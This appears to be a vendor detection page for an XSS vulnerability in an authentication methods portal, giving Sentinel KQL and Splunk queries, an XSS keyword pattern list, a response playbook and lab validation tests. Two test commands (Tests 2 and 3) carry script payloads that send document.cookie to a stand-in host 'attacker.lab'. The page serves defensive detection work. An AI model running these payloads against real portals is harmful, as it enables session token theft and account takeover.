Skip to content
CVE-2026-109490 Microsoft Sentinel · KQL

Detect CVE-2026-109490: Stored/Reflected XSS in Microsoft Authentication Methods Portal Extension in Microsoft Sentinel

Detects exploitation attempts against CVE-2026-109490, an improper neutralization of input during web page generation ('cross-site scripting', CWE-79) vulnerability in the Microsoft Authentication Methods Portal Extension. With a CVSS of 9.3, an unauthorized (unauthenticated) attacker can inject script that executes in the context of victims browsing the authentication methods portal, enabling session token theft, MFA registration tampering, and account takeover. Exploit status is currently theoretical (no public PoC), so detection focuses on the canonical XSS attack surface: script-like payloads in request parameters, headers and form fields submitted to authentication-portal endpoints, anomalous response bodies reflecting injected markup, and downstream indicators such as unexpected outbound beacons to attacker infrastructure originating from portal page context.

MITRE ATT&CK

Tactic
Initial Access Credential Access

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
// df00tech DF00-533bc5bcb4 · https://df00tech.com/detections/CVE-2026-109490 · licence: https://df00tech.com/detections/licence
let xssPatterns = dynamic(["<script","javascript:","onerror=","onload=","onmouseover=","<img","<svg","<iframe","document.cookie","eval(","fromcharcode","%3cscript","&#x3c;script","\\u003cscript"]);
W3CIISLog
| where csUriStem has_any ("/authmethods", "/MfaSettings", "/SecurityInfo", "/AuthenticationMethods", "/account/proofup", "/portal/authmethods")
| extend decodedQuery = tolower(url_decode(csUriQuery))
| extend decodedStem = tolower(url_decode(csUriStem))
| where decodedQuery has_any (xssPatterns) or decodedStem has_any (xssPatterns)
| project TimeGenerated, cIP, csUriStem, csUriQuery, decodedQuery, csUserAgent, scStatus, csMethod, sSiteName
| sort by TimeGenerated desc
high severity medium confidence

Flags requests to Authentication Methods Portal endpoints whose URL path or query string contains URL-decoded XSS payload markers.

Data Sources

Microsoft SentinelIIS LogsAzure Application Gateway WAF

Required Tables

W3CIISLog

False Positives & Tuning

  • Security scanners (Qualys, Nessus, Burp) performing authorized XSS probing against the portal
  • Penetration testers validating the CVE patch during remediation
  • Legitimate users whose display names or device names coincidentally contain angle brackets or the literal string 'onload'

Other platforms for CVE-2026-109490


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Reflected XSS probe in portal query string

    Expected signal: IIS/web access log entry for /authmethods/SecurityInfo with URL-decoded <script> payload in query, source IP recorded.

  2. Test 2 Event-handler XSS payload via image tag

    Expected signal: Web log shows onerror= and <img payload in decoded request to the auth portal.

  3. Test 3 POST-body XSS injection to MFA settings endpoint

    Expected signal: IIS log / application log captures POST to /MfaSettings/Update; WAF or body logging shows the script payload in deviceName.


Response Playbook

Triage

  1. Confirm the destination endpoint is an Authentication Methods Portal / MFA SecurityInfo page and extract the exact injected payload from the decoded query, headers, or POST body.
  2. Determine whether the request was unauthenticated (consistent with the CVE's 'unauthorized attacker' vector) and whether the server returned the payload reflected in the response body (HTTP 200 with payload echo) versus sanitized/blocked (WAF 403).
  3. Identify the source IP, user-agent and geolocation; check whether the same source is iterating multiple payload variants (scanner/fuzzing behaviour) or sending a single targeted payload.
  4. Review whether any authenticated user sessions subsequently rendered the portal page and generated anomalous outbound requests (possible successful script execution / token exfil).

Containment

  1. Apply the Microsoft MSRC patch for the Authentication Methods Portal Extension (CVE-2026-109490) to all affected tenants/servers.
  2. Deploy or tighten a WAF rule to block requests to the portal endpoints containing script-tag, event-handler and javascript: scheme markers until patching completes.
  3. If reflected execution against real sessions is confirmed, revoke active sessions / refresh tokens for exposed users and require re-authentication.

Evidence Collection

  1. Preserve raw IIS/WAF logs for the portal endpoints covering the injection window, including full request headers, query, and POST bodies.
  2. Capture the HTTP responses (where available via proxy/WAF logging) to prove whether the payload was reflected unsanitized.
  3. Collect sign-in and MFA registration audit logs (Azure AD / Entra audit logs) for accounts that accessed the portal during the window to detect tampering.

Escalation Criteria

  • !Escalate to IR if response bodies confirm unsanitized reflection of attacker script or if outbound beacons to unknown infrastructure originate from portal page context.
  • !Escalate to identity/IR teams if MFA methods were added, removed, or altered for any account shortly after a flagged request, indicating account takeover.

Investigation Guide

Forensic Artifacts

  • >IIS/WAF access logs containing the injected payload and response status for portal endpoints
  • >Azure AD / Entra audit logs showing authentication method additions or changes
  • >Proxy logs of outbound connections from portal page context to attacker domains

Tuning Guidance

Baseline authorized scanner and pentest source IP ranges and exclude them, or route their hits to a low-priority queue. If the portal legitimately accepts rich display/device names, decode and match only on reserved-character sequences in attack position (query, headers) rather than all fields to reduce benign angle-bracket noise. After the MSRC patch is deployed, correlate flagged requests with response status to distinguish blocked attempts from potential pre-patch reflected hits, and lower severity on sanitized/403 responses.


Hunting Queries

Groups repeated XSS probe attempts against the authentication portal by source IP to surface fuzzing/scanning and targeted campaigns.

Hunting — KQL
kql
// df00tech DF00-533bc5bcb4 · https://df00tech.com/detections/CVE-2026-109490 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has_any ("/authmethods","/MfaSettings","/SecurityInfo") | extend q=tolower(url_decode(csUriQuery)) | where q has_any ("<script","onerror=","javascript:","document.cookie") | summarize attempts=count(), payloads=make_set(q,20) by cIP, bin(TimeGenerated,1h) | where attempts > 1
Hunting — SPL
spl
``` df00tech DF00-533bc5bcb4 · https://df00tech.com/detections/CVE-2026-109490 · licence: https://df00tech.com/detections/licence ```
index=iis (cs_uri_stem="*authmethods*" OR cs_uri_stem="*SecurityInfo*") | eval q=urldecode(lower(cs_uri_query)) | where match(q,"(<script|onerror=|javascript:|document\.cookie)") | stats count values(q) as payloads by c_ip | where count>1

Atomic Red Team Tests

Test 1 Reflected XSS probe in portal query string
linux

Send an unauthenticated GET to an authentication-methods-style endpoint with a script payload in the query string (lab web server standing in for the portal).

Command

bash
curl -s -o /dev/null -w '%{http_code}\n' "http://portal-lab.local/authmethods/SecurityInfo?returnUrl=%3Cscript%3Ealert(document.cookie)%3C/script%3E"

Cleanup

bash
echo 'No persistent artifact; clear lab web server access log if desired: > /var/log/nginx/access.log'

Expected Telemetry

IIS/web access log entry for /authmethods/SecurityInfo with URL-decoded <script> payload in query, source IP recorded.

Expected Detection

KQL/SPL/EQL rules fire on the <script> marker in the decoded query string for a portal endpoint.

Test 2 Event-handler XSS payload via image tag
linux

Submit an onerror event-handler payload to the portal path to emulate attribute-based XSS injection.

Command

bash
curl -s "http://portal-lab.local/portal/authmethods?display=%3Cimg%20src=x%20onerror=fetch('http://attacker.lab/c?'+document.cookie)%3E" -o /dev/null

Cleanup

bash
echo 'No host artifact to remove; optionally truncate lab access log'

Expected Telemetry

Web log shows onerror= and <img payload in decoded request to the auth portal.

Expected Detection

Detections match on onerror= / <img markers in the portal request.

Test 3 POST-body XSS injection to MFA settings endpoint
windows

POST a javascript: scheme / script payload in a form field to a SecurityInfo/MfaSettings style endpoint to emulate stored XSS input.

Command

powershell
powershell -c "Invoke-WebRequest -Uri 'http://portal-lab.local/MfaSettings/Update' -Method POST -Body 'deviceName=<script>document.location=`"http://attacker.lab/s?`"+document.cookie</script>' -UseBasicParsing"

Cleanup

powershell
powershell -c "Write-Host 'No persistent change in lab; reset lab portal test record if created'"

Expected Telemetry

IIS log / application log captures POST to /MfaSettings/Update; WAF or body logging shows the script payload in deviceName.

Expected Detection

Body/field-aware WAF and the SIEM rules flag the <script>/document.cookie payload submitted to the portal.

Related Detections